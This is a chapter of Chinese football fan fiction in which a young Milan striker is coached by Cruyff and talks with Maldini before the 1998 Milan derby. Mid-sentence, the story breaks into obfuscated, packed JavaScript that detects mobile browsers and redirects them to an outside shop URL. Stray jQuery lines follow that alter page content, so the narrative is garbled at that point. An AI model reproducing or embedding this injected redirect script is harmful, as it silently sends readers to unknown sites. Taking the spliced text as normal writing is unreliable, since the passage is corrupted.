“所以……你在迷路的时候顺手救了小马特拉齐？”因扎吉坐在看台上，语气里满是难以置信，“西莫内昨晚告诉我，小马特拉齐上周在埃弗顿的比赛中吃红牌禁赛一个月，这才回意大利待几天。”
乔瓦尼老老实实地挨着马尔蒂尼坐在座位上，安静得像尊雕像。
阿尔贝蒂尼也没想到就中场休息这点时间竟能闹出这么一桩事：“所以，他是因为什么原因被围殴？”
回答这个问题的是马尔蒂尼：“他说，他冲我们的球迷大喊‘米兰惨败’。”
“等等！”因扎吉忍不住笑出了声，肩膀都在颤抖：“所以，乔，你这是从罗森内里手里……救了小马特拉齐？能随队远征的球迷可都是球队死忠，被如此挑衅肯定动火啊。”
阿尔贝蒂尼也哭笑不得，“幸亏保罗觉得你买热狗的时间太长了才下去找你，否则你就算躲过自家球迷，也躲不过小马特拉齐的巴掌吧。”
乔瓦尼却拧着眉头，低声说道：“……就算是罗森内里，也不能以多欺少，使用暴力。”
马尔蒂尼闻言伸手，用力揉了揉身边年轻人的头发。视线下落时，却停在乔瓦尼被运动衣长袖遮挡住的手腕上——那里或许还留着被用力攥过的痕迹。
忽然有那么一瞬间，他竟然也想像马特拉齐那样紧紧握住那只手腕……
这冲动来得太突然，连他自己都怔了一下。
他迅速移开目光，转向球场，声音比往常低沉了些：
“好了，看比赛吧。”
然而下半场比赛平平无奇，直至伤停补时阶段，米兰才凭借科斯塔库塔开出的一次任意球，在门前混战中由甘茨抢射破门，艰难扳平比分。
如今七轮联赛过去，米兰在积分榜排名第二，可媒体依然没给这支球队留一点面子，话里话外都是批评，说他们“问题一堆”、“全靠运气撑排名”，“照这么踢德比战肯定悬”。
“可国米都掉到第八名了，上场比赛还输给了巴里。”训练场上，乔瓦尼不太服气地回了一句，同时狠狠踢出皮球，眼睁睁看着它划过一道弧线然后飞过横梁，“我们好歹还踢平了皮亚琴察。”
“踢平皮亚琴察？这话说出来你自己觉得好听吗？”一旁的克鲁伊夫轻笑了一声，“你要是再这么把射门踢飞，阿比亚蒂真可以收拾东西回家了。反正球都往天上飞，还要门将干嘛？”
乔瓦尼这两天加练的都是禁区外远射，但弧线始终压不住，皮球总是高出横梁。
他略带歉意地朝门前的阿比亚蒂笑了笑，心里却在反驳：“可范巴斯滕先生在录像里就是这么踢的。”
“马尔科的远射是暴力美学，你呢？”克鲁伊夫扫了一眼乔瓦尼依旧单薄的身板，摇了摇头，“现在的你为了追求与马尔科类似的射门弧线，只能使用蛮力，能压得住球才怪。而且就算再过几年，你也很难练出他那种力量，你们根本不是同一种前锋。”
其实他想说：你应该多看看我的比赛录像。
但这话到底没说出口——就算没有那股无形力量的阻拦，米兰内洛恐怕也找不到他球员时代的影像资料。经历过网络时代的便利再回到二十世纪末，他才真切感受到互联网究竟给这个世界带来了什么。
看着乔瓦尼似乎有些被打击到的神情，克鲁伊夫有些不解。自从看过范巴斯滕的比赛录像后，这小子就生出一种强烈的、想要向对方靠近的执念。
可他们的身体条件本来就不同。
“或许丹尼斯的射门方式更适合你。”克鲁伊夫忽然想到自己的另一个弟子——博格坎普的力量也不强，他习惯通过第一脚触球创造角度，然后将皮球射入死角。
而且，也确实该让乔瓦尼好好打磨一下脚下技术了。
“去翻翻国米的比赛录像。虽然丹尼斯在意甲那两年表现不算出彩，但值得你学的东西还很多。”克鲁伊夫如此说道。
于是，在德比战前，米兰众人发现乔瓦尼开始如痴如醉地回看国米的比赛录像。但奇怪的是，他只盯着93/94和94/95那两个赛季的录像看。
不过这倒让米兰主帅扎切罗尼松了一口气，只要乔瓦尼坐进战术室，就不会总泡在训练场加练了。他可不想米兰的14号在德比前就把自己累垮。
马尔蒂尼是更衣室里第一个察觉到乔瓦尼意图的人：“你在看博格坎普吗？”
乔瓦尼坦然点头，想了想才开口：“我的荷兰教练告诉我，我恐怕永远也成不了马尔科·范巴斯滕那样的射手。但如果足够努力，也许能朝着博格坎普的方向发展。”
听到这话，马尔蒂尼立刻皱起眉，心里忍不住埋怨起那位荷兰教练——难道荷兰人说话都这么直接吗？
如果克鲁伊夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818020|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能听见马尔蒂尼的心声，一定会大呼冤枉，因为他本意绝非如此，只是乔瓦尼在面对范巴斯滕时意外地流露出了些许自卑。
“队长，在你看来，博格坎普是一名怎样的球员？”乔瓦尼忽然问道。
“他的脚像有磁力一样，总能牢牢吸住皮球。”马尔蒂尼闻言回忆道，“被我们放倒后有时会生气，但比利发现，只要主动上去抱他一下，他就没脾气了。”
“……什么？”乔瓦尼没听懂。
马尔蒂尼点点头，语气平常：“博格坎普很腼腆。比利每次都这么干……他好像，尤其不习惯意大利人的热情。”
乔瓦尼又将视线转向电视机里那位身穿蓝黑条纹衫的荷兰人，没想到除了飞机以外，对方还怕意大利人的拥抱……
11月8日，第242次米兰德比在圣西罗打响，双方球迷怒吼的声浪甚至在更衣室里都听得一清二楚。
“这火热的气氛确实与其他比赛不太一样。”皮尔洛还是第一次体验米兰德比，他表面看似平静，内心却难掩兴奋。尽管他知道自己本场出场的机会并不大。
马尔蒂尼与阿尔贝蒂尼虽未完全恢复到最佳状态，但作为球队核心势必要参加德比战。此役维阿、比埃尔霍夫、乔瓦尼组成三叉戟；科科、赫尔维格分任左右翼卫；博班、阿尔贝蒂尼坐镇中场；马尔蒂尼、科斯塔库塔和恩戈蒂组成三中卫，门将由老将罗西担任。
国米方面，主帅路易吉·西蒙尼采用4-3-3阵型，锋线由巴西人罗纳尔多、智利外援萨莫拉诺、意大利前锋莫列罗组成；中场是法国人科埃、阿根廷人迭戈·西蒙尼以及苏里南裔荷兰人温特；后卫则由阿根廷人萨内蒂、尼日利亚人韦斯特、意大利人加兰特、科隆内斯组成，门将是帕柳卡。
“光是看这份名单，就知道他们为什么叫‘国际’米兰了。”一旁的克鲁伊夫轻笑了一声，“他们首发里只有4个意大利人。”
乔瓦尼不以为意地耸了耸肩，整个身体都在为即将到来的德比战而兴奋——这一次，他再也不是需要被主教练保护起来的那个年轻球员了。
而就在比赛即将开始之际，电视转播镜头扫过圣西罗的VIP看台，突然定格在一个熟悉的身影上——
一身黑色西装的荷兰人对着镜头露出了浅淡的微笑。
马尔科·范巴斯滕，回到了圣西罗。